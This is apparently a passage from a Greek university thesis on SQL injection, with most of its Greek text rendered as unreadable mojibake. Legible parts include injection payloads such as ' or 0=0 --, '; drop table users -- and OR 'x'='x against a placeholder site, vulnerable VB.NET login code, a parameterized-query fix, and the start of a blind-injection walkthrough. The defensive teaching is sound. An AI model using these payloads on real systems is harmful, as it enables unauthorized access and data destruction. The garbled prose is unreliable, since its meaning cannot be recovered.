Βαζηζκέλνη ζηηο πιεξνθνξίεο ηηο νπνίεο αλαθηήζακε,κπνξνύκε λα ηζρπξηζηνύκε όηη ν 

θώδηθαο SQL πνπ ηξέρεη ζην server πξέπεη λα θαίλεηαη θάπσο έηζη: 

 

Σν παξαθάησ ζρήκα αλαπαξηζηά κία αξηζκεηηθή injection δείρλνληαο ην ζεκείν όπνπ 

πξαγκαηνπνηείηαη ην injection,ην SQL statement θαη ηελ εππαζή παξάκεηξν 

 

΢σήμα 3: Δηζαγσγή αξηζκεηηθήο ηηκήο ζηελ κπάξα δηεπζύλζεσλ 

 

Να ζεκεηώζνπκε όηη όηαλ εηζάγνπκε έλαλ αξηζκό δελ απαηηείηαη λα ηεξκαηίζνπκε ή λα 

μεθηλήζνπκε κία αλαθνξά νξηνζέηεζεο.΢ε απηό ην παξάδεηγκα κπνξνύκε θαηεπζείαλ λα 

θάλνπκε injection κεηά ηελ παξάκεηξν uid ζηε δηεύζπλζε. 

΢ε απηήλ ηελ πεξίπησζε,έρνπκε έιεγρν ζηα κελύκαηα πνπ επηζηξέθνληαη από ηε βάζε 

δεδνκέλσλ.Η εθαξκνγή δελ πξαγκαηνπνηεί θάπνηα εμαίξεζε(ή αθαίξεζε ηηκήο) ζηελ 

παξάκεηξν uid θαη ζπλεπώο κπνξνύκε λα επέκβνπκε ζηηο γξακκέο(rows) πνπ επηιέρζεθαλ 

από ηνλ πίλαθα messages.Η επίζεζε ζε απηό ην ζελάξην είλαη λα πξνζζέζνπκε κία πάληα 

ινγηθά αιεζήο (or 1=1) δήισζε,έηζη αληί λα επηζηξέθνληαη κόλν ηα κελύκαηα γηα έλαλ 

ρξήζηε,λα επηζηξέθνληαη όια ηα κελύκαηα γηα όινπο ηνπο ρξήζηεο. 

 

 

http://victim.com/messages/list.aspx?uid=0
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Σν URL ζα είλαη σο εμήο: 

 http://victim.com/messages/list.aspx?uid=45 or 1=1 

Σν απνηέιεζκα θαίλεηαη ζην ζρήκα ζην νπνίν όπσο θαίλεηαη,επηζηξέθνληαη ηα κελύκαηα 

γηα θάζε ρξήζηε. 

 

΢σήμα 4: Eηζαγσγή ζπλζήθεο καδί κε αξηζκεηηθή ηηκή 

 

Σν εμαγώκελν απνηέιεζκα ηεο επίζεζεο παξάγεηαη ζην αθόινπζν statement: 

 

Δμαηηίαο ηνπ γεγνλόηνο όηη ε ζπλζήθε (or 1=1) είλαη πάληα αιεζήο,ε βάζε δεδνκέλσλ 

επηζηξέθεη πάληα όιεο ηηο γξακκέο ηνπ πίλαθα messages θαη όρη κόλν απηέο πνπ δεηήζακε 

εκείο γηα έλα ζπγθεθξηκέλν ρξήζηε. 

  

http://victim.com/messages/list.aspx?uid=45
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12.Σπόποι αποθςγήρ ηηρ επίθεζηρ SQL Injection 
 

Σα  firewalls  θαη  παξόµνηα  πξνγξάµµαηα  αλίρλεπζεο  εηζβνιήο  παξέρνπλ  µηα  µηθξή  

άµπλα  έλαληη  δηαθόξσλ  ηύπσλ  επηζέζεσλ.  ∆εδνµέλνπ  όηη  ε  ηζηνζειίδα  καο  πξέπεη  λα  

είλαη  δεµόζηα,  νη  µεραληζµνί  αζθαιείαο  ζα  πξέπεη  λα  επηηξέπνπλ  ηελ  επηθνηλσλία  ηνπ  

θνηλνύ  µε  ηνπο  δηαθνµηζηέο  ησλ  βάζεσλ  δεδνµέλσλ  µέζσ  web  εθαξµνγώλ. Γη‟ απηό 

άιισζηε έρνπλ ζρεδηαζηεί.Οη  δηνξζώζεηο  ζηνπο  δηαθνµηζηέο,  ζηηο  βάζεηο  δεδνµέλσλ,  

ζηηο  γιώζζεο  πξνγξαµµαηηζµνύ  θαη  ζηα  ιεηηνπξγηθά  ζπζηήµαηα  είλαη  θξίζηµεο,  αιιά  

ζε  θαµία  πεξίπησζε  δελ  απνηεινύλ  ηνλ  θαιύηεξν  ηξόπν  γηα  ηελ  απνθπγή  επηζέζεσλ  

SQL Injection.   

Τπάξρνπλ  βέβαηα  θαη  άιινη  ηξόπνη  γηα  ηελ  πξνζηαζία  έλαληη  ηνπ  SQL  Injection 

(isnumeric έιεγρνη, αληηθαηάζηαζε µνλώλ εηζαγσγηθώλ, θηι). Ωζηόζν, έλα  από   απηά   είλαη   

ν ζσζηόο   ηξόπνο   γηα   λα   δεµηνπξγεζνύλ   παξαµεηξνπνηεµέλα  εξσηήµαηα  ζε  

ζπλδπαζµό  µε  ηε  ζηελή  θύζε  ησλ  δπλαµηθώλ  εξσηεµάησλ  ζηηο  απνζεθεπµέλεο 

δηαδηθαζίεολ(EXEC, sp_excutesql). Δάλ δελ ρξεζηµνπνηνύκε παξαµεηξνπνηεµέλα  

εξσηήµαηα  γηα  όιεο  ηηο  πξνζβάζεηο  ζηα  δεδνµέλα,  ηόηε ελεξγνύκε κε ιάζνο 

ηξόπν.Αθόµα θαη αλ ηα ρξεζηµνπνηνύκε, ζα πξέπεη λα είκαζηε πνιύ πξνζεθηηθνί, κε ηελ 

EXEC ή ηηο sp_execute δειώζεηο ζηηο απνζεθεπµέλεο δηαδηθαζίεο. 

Δδώ  είλαη  έλα  παξάδεηγµα  γηα  ην  ζσζηό  ηξόπν  γηα  ηελ  πξόζβαζε  ζηα  δεδνµέλα 

ρσξίο θάπνηα απνζεθεπµέλε δηαδηθαζία:   

 

 



Πα
νε
πι
στ
ήμ
ιο 
Πε
ιρα
ιώ
ς

72 
 

 

 

 

Οη SQL επηζέζεηο όπσο αλαθέξακε θαη ζηα πξνεγνύκελα θεθάιαηα ζπλήζσο 

πξνθαινύληαη ιόγσ θάπνηαο ιεηηνπξγίαο πνπ επηηξέπεη ζηνπο ρξήζηεο λα εηζάγνπλ δεδνκέλα 

ρσξίο λα ειέγρνληαη από ηελ εθαξκνγή ή ιόγσ θάπνηαο εμνπζηνδόηεζεο πνπ παξαρσξνύκε 

ζηνπο ρξήζηεο.Μεξηθά από ηα πην θνηλά ιάζε πνπ πξνθαινύλ απηή ηελ επίζεζε είλαη: 

• Αζζελήο επηθύξσζε εηζαγόκελσλ δεδνκέλσλ ρξήζηε. 

• Γπλακηθή δεκηνπξγία SQL statements ρσξίο ηε ρξήζε θάπνησλ θαλνληθώλ θαη αζθαιώλ 

παξακέηξσλ. 

• Υξήζε ζπλδέζεσλ(logins) πνπ παξέρνπλ πςειή εμνπζηνδόηεζε ζην ζύζηεκα. 

 

Οη επηζέζεηο απηέο είλαη εύθνιν λα απνθεπρζνύλ κε απιέο πξνγξακκαηηζηηθέο 

αιιαγέο,σζηόζν ν εθάζηνηε δηαρεηξηζηήο ηνπ ζπζηήκαηνο πξέπεη λα αθνπινπζεί απζηεξά ηηο 

κεζόδνπο πνπ ζα αλαθέξνπκε ζηε ζπλέρεηα θαη λα ηηο εθαξκόδεη γηα θάζε δηαδηθαζία πνπ 

πξαγκαηνπνηείηαη.Κάζε δπλακηθό SQL statement πξέπεη λα είλαη πξνζηαηεπκέλν.Μία 

απξνζηάηεπηε SQL δήισζε κπνξεί λα έρεη σο ζπλέπεηα ηελ παξάθακςε ηεο εθαξκνγήο,ησλ 

δεδνκέλσλ ή θαη ηνπ database server. 

Παξαθάησ παξνπζηάδνπκε κεξηθέο ηερληθέο νη νπνίεο κπνξνύλ λα ρξεζηκνπνηεζνύλ γηα 

λα εκπνδίζνπκε επηζέζεηο SQL Injection: 

 

1.Υξεζηκνπνίεζε δεζκεπκέλσλ κεηαβιεηώλ 

Η ηερληθή απηή απνηειεί ηελ πην ηζρπξή πξνζηαζία έλαληη ηεο επίζεζεο 

απηήο.Υξεζηκνπνηώληαο δεζκεπκέλεο κεηαβιεηέο ζα απμήζνπκε ηελ απόδνζε ηεο 

εθαξκνγήο.΋ηαλ αλαπηύζζνπκε κία εθαξκνγή απαηηείηαη λα ρξεζηκνπνηνύκε δεζκεπκέλεο 

κεηαβιεηέο ζε όιεο ηηο SQL δειώζεηο.Καλέλα SQL statement δελ ζα πξέπεη λα δεκηνπξγεζεί 

ζπγρένληαο καδί ππνγξαθέο θαη πεξαζκέλεο ζην ζύζηεκα παξακέηξνπο. 
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Οη κεηαβιεηέο απηέο πξέπεη λα ρξεζηκνπνηνύληαη γηα θάζε δήισζε αλεμάξηεηα ην πόηε ή 

ην πνύ ζα εθηειεζηεί ε ζπγθεθξηκέλε δήισζε.Απηή ε ελέξγεηα απνηειεί θαζνιηθό θαλόλα 

ζηηο εθαξκνγέο πνπ ρξεζηκνπνηνύλ Oracle βάζεηο δεδνκέλσλ.Μία πνιύπινθε επίζεζε SQL 

injection ζα κπνξνύζε πηζαλόλ λα εηζβάιιεη ζε κία εθαξκνγή,απνζεθεύνληαο strings ηεο 

επίζεζεο ζηε βάζε δεδνκέλσλ ηα νπνία ζα κπνξνύζαλ λα εθηειεζηνύλ αξγόηεξα από έλα 

δπλακηθό SQL statement. 

 

2.Δπηθύξσζε ησλ εηζαρζέλησλ δεδνκέλσλ  

Κάζε παξάκεηξνο ζε κνξθή string πνπ δηαπεξλά ζην ζύζηεκα πξέπεη λα επηθπξώλεηαη.Η 

επηθύξσζε ησλ δεδνκέλσλ απηώλ πξέπεη λα εθαξκόδεηαη γηα αξρή ζην επίπεδν ηνπ 

πειάηε(client level).Σα δεδνκέλα πνπ πεξλάλε από ηελ θόξκα ηνπ πειάηε έπεηηα πξέπεη λα 

ειέγρνληαη ζην επίπεδν ηνπ server πξνηνύ απνζηαιιεί ε αίηεζε ζηε βάζε δεδνκέλσλ γηα 

εθηέιεζε.Δάλ ηα δεδνκέλα απνηύρνπλ λα πεξάζνπλ ηε δηαδηθαζία επηθύξσζεο,ηόηε πξέπεη λα 

απνζηαιιεί κήλπκα ιάζνπο ζην ρξήζηε απνηξέπνληαο ηελ πξόζβαζε ηνπ. 

Πνιιέο δηαδηθηπαθέο εθαξκνγέο ρξεζηκνπνηνύλ θξπθά πεδία θαη ζε απηήλ ηελ πεξίπησζε 

ρξεηάδεηαη επίζεο επηθύξσζε.Αλ κία δεζκεπκέλε κεηαβιεηή δελ έρεη δηαγξαθεί,εηδηθνί 

ραξαθηήξεο πξέπεη λα δηαγξαθνύλ ή λα δηαθύγνπλ. 

΢ηηο βάζεηο δεδνκέλσλ Oracle,o κόλνο επάισηνο ραξαθηήξαο είλαη κία απιή αλαθνξά.Η 

απιόηεξε κέζνδνο είλαη λα δηαθύγνπκε όιεο ηηο απιέο αλαθνξέο.Με απηόλ ηνλ ηξόπν ε 

Oracle βάζε δεδνκέλσλ κεηαθξάδεη ζπλερόκελεο αλαθνξέο σο κία αλαθνξά 

ζηνηρεηνζεηεκέλε θαηά γξάκκα. 

Η ρξεζηκνπνίεζε δεζκεπκέλσλ κεηαβιεηώλ θαη ε δηαθπγή απιώλ αλαθνξώλ δελ πξέπεη 

λα πξαγκαηνπνηείηαη γηα ην ίδην string.Μία δεζκεπκέλε κεηαβιεηή ζα απνζεθεύεη ηα αθξηβή 

εηζαγόκελα δεδνκέλα ζηε βάζε δεδνκέλσλ θαη ζα δηαθεύγνληαο θάζε αλαθνξά ζα έρεη σο 

απνηέιεζκα ηε δεκηνπξγία δηπιώλ αλαθνξώλ νη νπνίεο ζα απνζεθεύνληαη ζηε βάζε. 

 

     

 3.Αζθάιεηα Γηαδηθαζηώλ(Function Security) 

Oη θαλνληθέο θαη ηξνπνπνηεκέλεο δηαδηθαζίεο βάζεσλ δεδνκέλσλ κπνξνύλ λα 

ρξεζηκνπνηεζνύλ απνηειεζκαηηθά γηα επηζέζεηο injection.Η Oracle πεξηιακβάλεη από 

πξνεπηινγή εθαηνληάδεο functions νη νπνίεο έρνπλ δηθαίσκαηα ξπζκηζκέλα ζε PUBLIC.Η 

εθαξκνγή ελδερνκέλσο λα έρεη θαη επηπξόζζεηεο δηαδηθαζίεο νη νπνίεο λα πξνθαινύλ 

ιεηηνπξγίεο όπσο ε αιιαγή θσδηθώλ ή ε δεκηνπξγία  

΋ιεο νη δηαδηθαζίεο νη νπνίεο δελ είλαη απαξαίηεηεο λα εθηειεζηνύλ κπνξνύλ λα γίλνπλ 

restricted δειαδή λα πεξηνξηζηνύλ θαη λα είλαη αλελεξγέο. 
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4.Πεξηνξηζκόο ηεο Open-Ended εηζαγσγήο δεδνκέλσλ 

΢ε απηήλ ηελ πεξίπησζε ζθνπόο καο είλαη λα ειαρηζηνπνηήζνπκε ηα open-ended 

εηζαγώκελα δεδνκέλα όπνπ είλαη δπλαηόλ ρξεζηκνπνηώληαο θνπηηά επηινγήο(select boxes) 

αληί γηα θνπηηά θεηκέλνπ(text boxed).H εθαξκνγή πξέπεη λα δεηά κέζσ ηνπ πειάηε 

επηθύξσζε γηα θάζε δεδνκέλν πνπ θαηαρσξείηαη.Γηα ηελ επηθύξσζε κόλν,ε επηινγή ζην 

θνπηί πξέπεη λα εθηειεζηεί ελώ ζε νπνηαδήπνηε άιιε επηινγή πξέπεη λα αξλεζεί. 

 

5.Δπηβεβαίσζε ηνπ είδνπο ησλ δεδνκέλσλ 

΢ε απηήλ ηελ ηερληθή επηβεβαηώλνπκε ηα δεδνκέλα ρξεζηκνπνηώληαο ηελ IS NUMERIC ή 

άιιεο ηζνδύλακεο δηαδηθαζίεο πξσηνύ πεξαζηεί ην δεδνκέλν θαη ζρεκαηηζηεί έλα sql 

statement.Γηα δεδνκέλα ηύπνπ string αληηθαζηζηνύκε ηηο απιέο αλαθνξέο κε δύν απιέο 

αλαθνξέο ρξεζηκνπνηώληαο ηελ replace function ή ηζνδύλακα. 

 

Good string = replace(in put string,‘,‘‘); 

 

6.Υξεζηκνπνίεζε απνζεθεπκέλσλ δηαδηθαζηώλ 

Υξεζηκνπνηώληαο απνζεθεπκέλεο δηαδηθαζίεο κπνξνύκε ηελ απεπζείαο πξόζβαζε ζηνλ 

πίλαθα.Οη απνζεθεύκελεο απηέο δηαδηθαζίεο νη νπνίεο δελ ρξεζηκνπνηνύληαη όπσο νη 

master_xp_cmdshell,xp_sendmail, xp_startmail, sp_makewebtask είλαη πηζαλόλ λα 

δηαγξαθνύλ. 

 

7.Πνηέ δελ δεκηνπξγνύκε δπλακηθέο SQL δειώζεηο θαηεπζείαλ από ηα δεδνκέλα πνπ 

θαηαρώξεζε ν ρξήζηεο θαη πνηέ δελ πξνρσξάκε κε δεδνκέλα ηα νπνία δελ έρνπλ επηθπξσζεί 

πξνεγνπκέλσο. 

 

8.Αθαηξνύκε ραξαθηήξεο θεηκέλνπ όπσο θάζεηνο,backslash,ραξαθηήξεο ηύπνπ 

NULL,carry return,λέεο γξακκέο ζε όια ηα strings από ηα δεδνκέλα ρξήζηε θαη παξακέηξνπο 

από ην URL. 

 

9.Σα δηθαηώκαηα θάζε ρξήζηε πνπ ρξεζηκνπνηνύληαη ζηελ εθαξκνγή γηα εθηέιεζε SQL 

δειώζεσλ ζηε βάζε δεδνκέλσλ πξέπεη λα νξίδνληαη. 

 

10.Σν κήθνο ησλ δεδνκέλσλ πνπ εηζάγεη ν ρξήζηεο πξέπεη λα είλαη πεξηνξηζκέλν. 
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11.Οη αθόινπζνη ραξαθηήξεο ζεσξνύληαη επηθίλδπλνη θαη πηζαλόλ λα απνηξέςνπλ ηελ 

είζνδν ηνπ ρξήζηε όηαλ εηζαρζνύλ ζε κία θόξκα: 

 

 

 

 

 

 

 

1.Παπάδειγμα Σεσνικήρ για Ανηιμεηώπιζη ηηρ Δπίθεζηρ 

Αο ππνζέζνπκε όηη έρνπκε κία θόξκα ζύλδεζεο,όπνπ δύν βαζηθά ζηνηρεία ηεο 

θόξκαο,έλα θνπηί θεηκέλνπ γηα λα δέρεηαη ην username θαη έλα άιιν γηα λα δέρεηαη ην 

password. 

<form action="myscript.aspx"> 

<input type="textbox" name="username"> 

<input type="password" name="password"><br/> 

<input type="submit"> 

</form> 

 

Ο θώδηθαο πνπ ζα ηξέρεη από πίζσ όηαλ θαηαρσξήζνπκε δεδνκέλα ζηε θόξκα ζα είλαη: 

Dim SQL As String = "SELECT Count(*) FROM Users WHERE UserName = '" & _ 

username.text & "' AND Password = '" & password.text & "'" 

Dim thisCommand As SQLCommand = New SQLCommand(SQL, Connection) 

Dim thisCount As Integer = thisCommand.ExecuteScalar() 

 

΢ην πξνεγνύκελν κόιηο παξάδεηγκα,εθηειείηαη ην SQL script πνπ κνιηο δεκηνπξγήζεθε 

θαη αλ όια γίλνπλ ζσζηά ηόηε ην usename θαη ην password ζα αληηζηνηρηζνύλ κε απηά πνπ 

ππάξρνπλ ζηε βάζε δεδνκέλσλ γηα λα πξνρσξήζεη ε ζύλδεζε. 

Αο ππνζέζνπκε όκσο όηη θάπνηνο εηζάγεη ην αθόινπζν string ζην username: 

' or 0=0 -- 

 

Με ηελ απόζηξνθν ζηελ αξρή αθαηξείηαη από ηε ζπλέρεηα ηεο αίηεζεο ην κέξνο πνπ δελ 

αλαθέξεηαη ζην username θαη ζην password.Έπεηηα κε ην „or‟ εθαξκόδνπκε ηαπηνινγία άξα 

ην username δελ είλαη αλάγθε λα ειερζεί θαη κε ην 0 λα ηζνύηαη πάληα κε 0,ην script ζα 

εθηειεζηεί επηηπρεκέλα θαη ζα επηζηξέςεη έλα κήλπκα ζεηηθό όζνλ αθνξά ηελ πξόζβαζε ζην 
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ζύζηεκα.Σαπηόρξνλα ν επηηηζέκελνο κπνξεί λα πξαγκαηνπνηήζεη θαη δηαγξαθή θάπνηνπ 

πίλαθα κε ηελ εληνιή:  

 

'; drop table users -- 

 

Σν επόκελν βήκα καο είλαη πώο ζα απνθεύγακε κία ηέηνηα επίζεζε. 

Μία κέζνδνο γηα λα αληηκεησπίζνπκε ηελ SQL Injection είλαη λα απνθύγνπκε λα 

ρξεζηκνπνηνύκε θώδηθα SQL ν νπνίνο παξάγεηαη δπλακηθά από ην 

ζύζηεκα.Υξεζηκνπνηώληαο παξακεηξνπνηεκέλεο αηηήζεηο θαη απνζεθεπκέλεο 

δηαδηθαζίεο(stored procedures) κπνξνύκε λα θάλνπκε αδύλαηε ηελ εηζβνιή κίαο ηεηνηαο 

επίζεζεο. 

       

      Γηα παξάδεηγκα,ην πξνεγνύκελν SQL query ζα κπνξνύζε λα κεηαηξαπεί ζηνλ αθόινπζν 

ηξόπν γηα λα απνθύγνπκε ηελ επίζεζε: 

Dim thisCommand As SQLCommand = New SQLCommand("SELECT Count(*) " & _ 

 "FROM Users WHERE UserName = @username AND Password = @password", Connection) 

thisCommand.Parameters.Add ("@username", SqlDbType.VarChar).Value = username 

thisCommand.Parameters.Add ("@password", SqlDbType.VarChar).Value = password 

Dim thisCount As Integer = thisCommand.ExecuteScalar() 

 

Οη απνζεθεπκέλεο δηαδηθαζίεο κπνξνύλ λα αζθαιίζνπλ ηε βάζε δεδνκέλσλ καο ζηελ 

νπνία ππάξρνπλ ζπγθεθξηκέλνη ινγαξηαζκνί ρξεζηώλ θαη επηηξέπεη ζηνπο ινγαξηαζκνύο 

απηνύο λα εθηεινύλ ηηο δηαδηθαζίεο απηέο.Ο θώδηθαο έπεηηα πξνθαιεί είζνδν ζην ζύζηεκα 

ρξεζηκνπνηώληαο ην ζπγθεθξηκέλν ινγαξηαζκό κόλν πνπ έρεη ηε δπλαηόηεηα λα εθηειεί 

απνζεθεπκέλεο δηαδηθαζίεο.΢ηελ πεξίπησζε απηή δελ παξαρσξνύκε δηθαηώκαηα ζε θάζε 

ινγαξηαζκό όπσο write,read ηα νπνία ζα έθαλαλ επάισηε ηελ εθαξκνγή. 

Έηζη αλ εκείο ζέιακε λα πξαγκαηνπνηήζνπκε κία απζεληηθνπνίεζε κέζσ κίαο 

απνζεθεπκέλεο δηαδηθαζίαο,ε αίηεζε ζα έκνηαδε θάπσο έηζη: 

Dim thisCommand As SQLCommand = New SqlCommand ("proc_CheckLogon", Connection) 

thisCommand.CommandType = CommandType.StoredProcedure 

thisCommand.Parameters.Add ("@username", SqlDbType.VarChar).Value = username 

thisCommand.Parameters.Add ("@password", SqlDbType.VarChar).Value = password 

thisCommand.Parameters.Add ("@return", SqlDbType.Int).Direction = ParameterDirection.ReturnValue 

Dim thisCount As Integer = thisCommand.ExecuteScalar() 

 

Σέινο,πξέπεη λα είκαζηε ζίγνπξνη όηη ζε πεξίπησζε πνπ εκθαληζηεί θάπνην ζθάικα ζην 

ρξήζηε , όηη δελ ζα εκθαληζηνύλ πνιιέο πιεξνθνξίεο νη νπνίεο κπνξεί λα απνθαιύπηνπλ 

ζηνηρεία ηνπ ζπζηήκαηνο.  
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13.Ανακάλςτη ΢ηόσος και Διζβολή 
       

      Η SQL Injection όπσο αλαθέξακε πξηλ,απνηειεί κία επίζεζε ζηελ νπνία 

εθκεηαιιεπόκαζηε ηελ εππάζεηα ελόο ζπζηήκαηνο εηζάγνληαο κε επηθπξσκέλα δεδνκέλα.Η 

ηδέα είλαη λα «πείζνπκε» ηελ εθαξκνγή λα ηξέμεη SQL θώδηθα ν νπνίνο όκσο δελ είλαη ν 

αλακελόκελνο.Δάλ ε ζειίδα δεκηνπξγεί strings θαη έπεηηα ηα ηξέρεη,είλαη ινγηθό όηη ζα 

δεκηνπξγεζνύλ κε αλακελόκελα απνηειέζκαηα θάπνηεο θνξέο ιόγσ θάπνηαο επίζεζεο. 

΢ηελ ζπγθεθξίκελε ελόηεηα ζα αλαιύζνπκε ηε ζρέζε εύξεζεο ηνπ ζύκαηνο θαη εηζβνιήο 

ζε απηό ρξεζηκνπνηώληαο έλα ππνζεηηθό παξάδεηγκα κε έλαλ πειάηε κίαο εηαηξείαο ν νπνίνο 

δεηά λα ηνπ ειέγμνπκε ηε ζειίδα πνπ δηαρεηξίδεηαη από ην πξνζσπηθό ηεο εηαηξείαο. 

 

13.1.Ανάλςζη ηος ζηόσος 

΢ην ζπγθεθξηκέλν ζέκα πνπ δήηεζε ν πειάηεο,δελ γλσξίδνπκε από πξνεγνπκέλσο ηελ 

εθαξκνγή νύηε έρνπκε πξόζβαζε ζηνλ πεγαίν θώδηθα.Δπνκέλσο ην είδνο επίζεζεο απηήο 

είλαη θαηά βάζε κία ηπθιή επίζεζε (blind attack).Όζηεξα από αξθεηέο πξνζπάζεηεο είδακε 

όηη ν server ηξέρεη ζε Microsoft II6 καδί κε ASP.NET.Απηό ζεκαίλεη όηη ε βάζε δεδνκέλσλ 

ρξεζνκνπνηεί Microsoft SQL Server. 

Η ζειίδα ζύλδεζεο πεξηείρε κία θόξκα κε πεδία username θαη password αιιά επηπιένλ 

έλα ζύλδεζκν πνπ πεξηείρε ην θείκελν “email me password link” ην νπνίν απνδείρζεθε όηη ην 

ηξσηό ζεκείν όινπ ηνπ ζπζηήκαηνο. 

΋ηαλ εηζάγνπκε κία δηεύζπλζε email,ην ζύζηεκα θάλεη αλαδήηεζε ζηε βάζε δεδνκέλσλ 

γηα ηε ζπγθεθξίκελε δηεύζπλζε θαη αλ ηαηξηάμεη ηόηε απνζηέιιεη θάηη ζηε δηεύζπλζε 

απηή.Από ηε ζηηγκή πνπ ε δηεύζπλζε καο δελ βξεζεί,ην ζύζηεκα δελ ζα ζηείιεη ηίπνηα ζε 

καο.Έηζη απηό πνπ θάλνπκε είλαη λα εηζάγνπκε κία αλαθνξά σο κέξνο ησλ δεδνκέλσλ κε 

ζθνπό λα δνύκε αλ θαηαζθεπάδεηαη έλα SQL string.΋ηαλ θαηαρσξνύκε ηε θόξκα κε κία 

αλαθνξά ζηε δηεύζπλζε email,επηζηξέθεηαη έλα ζθάικα 500(απνηπρία server) ην νπνί είλαη 

απηό πνπ ζέινπκε ζηε ζπγθεθξίκελε πεξίπησζε.΢πγθεθξίκελα ν θώδηθαο πξέπεη λα κνηάδεη 

θάπσο έηζη: 

  SELECT fieldlist 

  FROM table 

  WHERE field = '$EMAIL'; 

 

Δδώ ε δηεύζπλζε $EMAIL είλαη ε δηεύζπλζε πνπ θαηαρσξήζεθε από ην ρξήζηε.΢ηε 

ζπγθεθξηκέλε αίηεζε δελ γλσξίδνπκε ηα νλόκαηα ησλ πεδίσλ ή ηνπ πίλαθα πνπ 

πεξηιακβάλνληαη  αιιά γλσξίδνπκε ηε θύζε ηνπο θαη έηζη ζα πξαγκαηνπνηήζνπκε δηάθνξεο 

ππνζέζεηο αξγόηεξα. 
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΋ηαλ εηζάγνπκε ην steve@unixwiz.net‟ κε απόζηξνθν ζην ηέινο παξαηεξνύκε όηη 

δεκηνπξγείηαη ην αθόινπζν statement: 

 

  SELECT fieldlist 

  FROM table 

  WHERE field = 'steve@unixwiz.net' ';  

 

΋ηαλ απηό εθηειεζηεί,ν SQL parser βξίζθεη ηελ παξαπαλήζηα απόζηξνθν θαη επηζηξέθεη 

έλα ζθάικα.Γεληθά ην ηη ιάζνο ζα επηζηξαθεί εμαξηάηαη από ηνπο κεραληζκνύο ζθάικαηνο-

επαλαθνξάο ηεο εθαξκνγήο αιιά ζπλήζσο ην ζθάικα δελ είλαη ηεο κνξθήο “ε δηεύζπλζε 

email ζαο δελ βξέζεθε”.Απηό ζεκαίλεη όηη ηώξα ε εθαξκνγή είλαη επάισηε ζηελ επίζεζε. 

Από ηε ζηηγκή πνπ ηα δεδνκέλα πνπ εηζάγνπκε εκθαλίδνληαη ζην όξν WHERE,κπνξνύκε 

λα αιιάμνπκε ηνλ όξν απηό ζε έλαλ πην θηιηθό πξνο ηελ SQL όξν θαη ζα δνύκε ηη 

ζπκβαίλεη.Δηζάγνληαο ην anything' OR 'x'='x ην εμαγόκελν απνηέιεζκα SQL είλαη: 

   

  SELECT fieldlist 

  FROM table 

  WHERE field = 'anything' OR 'x'='x '; 

 

Eπεηδή όκσο ε εθαξκνγή δελ επεμεξγάδεηαη απηήλ ηε ζηηγκή ηελ αίηεζε,ε ρξεζηκνπνίεζε 

ησλ αλαθνξώλ καο κεηέηξεςε ηνλ όξν WHERE πνπ πεξηείρε έλα ζηνηρείν ζε έλαλ όξν 

WHERE πνπ πεξηέρεη ηώξα δύν ζηνηρεία δειαδή ηo „x‟=‟x‟ εγγπάηαη όηη είλαη ινγηθά αιεζήο 

αλεμάξηεηα από ην ηη είλαη ν πξώηνο όξνο. 

 

Γεδνκέλνπ όκσο όηη ε πξαγκαηηθή αίηεζε πξέπεη λα επηζηξέςεη έλα κόλν ζηνηρείν ηελ 

θάζε θνξά,ε έθδνζε ζα επηζηξέςεη θάζε ζηνηρείν ησλ κειώλ ηεο βάζε δεδνκέλσλ. 

 

Ο κνλαδηθόο ηξόπνο λα αλαθαιύςνπκε ηη κπνξεί λα θάλεη ε εθαξκνγή είλαη λα 

δνθηκάζνπκε απηό,δειαδή ηελ απνζηνιή ηνπ mail.Κάλνληαο απηήλ ηελ ελέξγεηα ζα ιάβνπκε 

ην εμήο κήλπκα: 

 

 

 

Η θαιύηεξε ππόζεζε πνπ κπνξνύκε λα θάλνπκε απηή ηε ζηηγκή είλαη όηη απηό απνηειεί 

ην πξώην ζηνηρείν πνπ επηζηξάθεθε από ηελ αίηεζε ην νπνίν όκσο πάξζεθε ηπραία αλάκεζα 

mailto:steve@unixwiz.net
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ζηα ππόινηπα.Σώξα γλσξίδνπκε όηη κπνξνύκε λα «εμαπαηήζνπκε» ην query,σζηόζν δελ 

μέξνπκε πνην από ηα κέξε απηήο ηεο αίηεζεο δελ κπνξνύκε λα δνύκε. 

 

Αιιά έρνπκε παξαηεξήζεη ηξείο δηαθνξεηηθέο απαληήζεηο γηα πνηθίιεο εηζαγσγέο 

δεδνκέλσλ: 

 

 "Your login information has been mailed to email" 

 "We don't recognize your email address" 

 Server error 

Οη δύν πξώηεο απαληήζεηο αλαθέξνληαη ζε ζσζηά ζρεκαηηζκέλν SQL θώδηθα ελώ ε 

ηειεπηαία ζε ιάζνο.Η δηαθνξά απηή ζα είλαη ρξήζηκε όηαλ ζα πξνζπαζνύκε λα καληέςνπκε 

ηε δνκή ηεο αίηεζεο. 

 

 

 13.2.΢σήμα σαπηογπάθηζηρ ηομέα (schema field mapping) 

Σα πξώηα βήκαηα είλαη λα καληέςνπκε κεξηθά όλνκαηα πεδίσλ.Φπζηθά είκαζηε ζρεδόλ 

ζίγνπξνη όηη ζα πεξηέρεη πεδία όπσο “email address” ή “password” θαη ίζσο λα ππάξρνπλ 

επηπιένλ πεδία όπσο “userid” ή “phone number”.΢ε απηήλ ηελ πεξίπησζε ζα πξνηηκνύζακε 

λα εθηειέζνπκε ηελ SHOW TABLE εληνιή αιιά επηπξνζζέησο δελ γλσξίδνπκε ην όλνκα 

ηνπ πίλαθα.Έηζη δελ ππάξρεη θάπνηνο πξνθαλήο ηξόπνο γηα λα εμάγνπκε ην επηζπκεηό 

απνηέιεζκα. 

Γη‟απηό ην ιόγν ζα ην πξαγκαηνπνηήζνπκε ζε βήκαηα.΢ε θάζε πεξίπησζε ζα 

εκθαλίζνπκε νιόθιεξε ηελ αίηεζε όπσο ηελ μέξνπκε καδί κε ηηο δηθέο καο 

παξακέηξνπο.Γλσξίδνπκε επίζεο όηη ζην ηειεπηαίν κέξνο θάζε αίηεζεο πξαγκαηνπνηείηαη κία 

ζύγθξηζε κε ηε δηεύζπλζε email,έηζη αξρηθά ζα καληέςνπκε ην όλνκα ηεο δηεύζπλζεο email. 

 

 

 

O ζθνπόο είλαη λα ρξεζηκνπνηήζνπκε έλα πξνηεηλόκελν όλνκα(email) ζηε δνκεκέλε 

αίηεζε θαη λα αλαθαιύςνπκε αλ ε SQL είλαη έγθπξε ή όρη.Γελ καο ελδηαθέξεη ην ηαίξηαζκα 

ηεο δηεύζπλζεο πνπ θαηαρσξήζακε κε ηε δηεύζπλζε πνπ είλαη απνζεθεπκέλε ζην 

ζύζηεκα.Γη‟απηό ρξεζηκνπνηνύκε άιισζηε ην „x‟ θαη ην -- κε ην ηειεπηαίν λα δειώλεη ηελ 

